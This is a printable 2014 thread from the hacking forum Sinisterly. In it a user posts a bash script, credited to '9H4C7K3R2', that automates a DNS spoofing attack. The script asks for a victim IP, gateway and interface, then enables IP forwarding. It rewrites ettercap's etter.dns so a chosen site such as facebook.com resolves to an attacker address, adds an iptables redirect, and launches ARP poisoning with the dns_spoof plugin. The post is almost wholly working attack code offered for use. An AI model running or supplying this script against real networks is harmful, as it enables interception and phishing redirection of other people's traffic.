![]() |
|
DNS Spoof script - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Coding (https://sinister.ly/Forum-Coding) +--- Forum: Coding (https://sinister.ly/Forum-Coding--71) +--- Thread: DNS Spoof script (/Thread-DNS-Spoof-script) |
DNS Spoof script - hunt3r972 - 02-24-2014 This is a bash script to do DNS spoofing. You need to have ettercap installed to use it. Code: #!/bin/bash
echo ' ______ _ _______ _______ _______ _______ _______ _______'
echo '( __ \ ( ( /|( ____ \ ( ____ \( ____ )( ___ )( ___ )( ____ \'
echo '| ( \ )| \ ( || ( \/ | ( \/| ( )|| ( ) || ( ) || ( \/'
echo '| | ) || \ | || (_____ | (_____ | (____)|| | | || | | || ('
echo '| | | || (\ \) |(_____ ) (_____ )| _____)| | | || | | || __)'
echo '| | ) || | \ | ) | ) || ( | | | || | | || ('
echo '| (__/ )| ) \ |/\____) | /\____) || ) | (___) || (___) || )'
echo '(______/ |/ )_)\_______) \_______)|/ (_______)(_______)|/'
echo
echo "By 9H4C7K3R2 - v1.0"
echo "@ Check that ettercap 0.8.0 is installed"
echo "@ Script to automatize DNS SPoof attack using ettercap"
echo
echo -n "[+] Target IP address: "
read victime
echo -n "[+] Gateway IP address: "
read passerelle
echo -n "[+] Interface: "
read interface
echo -n "[+] Website you want to spoof (ex: facebook.com pour www.facebook.com): "
read cible
echo -n "[+] IP address to redirect the spoofed website (ex: 173.194.34.56): "
read redir
echo 1 > /proc/sys/net/ipv4/ip_forward
test_forward=$(cat /proc/sys/net/ipv4/ip_forward)
if [ $test_forward == "1" ]
then
echo "[+] IP Forwarding enabled"
elif [ $test_forward == "0" ]
then
echo "[+] IP Forwarding not enabled"
echo "[+] Exiting"
exit
fi
if [ -e /etc/ettercap/etter.dns ];
then
echo "[+] Deleting old redirection file"
rm /etc/ettercap/etter.dns
echo "[+] File deleted"
else
echo "[+] Creating new redirection file"
fi
echo $cible A $redir > /etc/ettercap/etter.dns
echo *.$cible A $redir >> /etc/ettercap/etter.dns
echo www.$cible PTR $redir >> /etc/ettercap/etter.dns
if [ -e /etc/ettercap/etter.dns ];
then
echo "[+] Redirection file created"
else
echo "[+] Problem during redirection file creation"
echo "[+] Exiting"
exit
fi
echo "[+] Redirection file summering"
echo
echo "-------------------------------------------------"
cat /etc/ettercap/etter.dns
echo "-------------------------------------------------"
echo
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 8080
echo "[+] iptables rule added"
echo "[+] Starting ettercap"
sleep 5
ettercap -TqM arp -P dns_spoof /$passerelle/ /$victime/ -i $interface |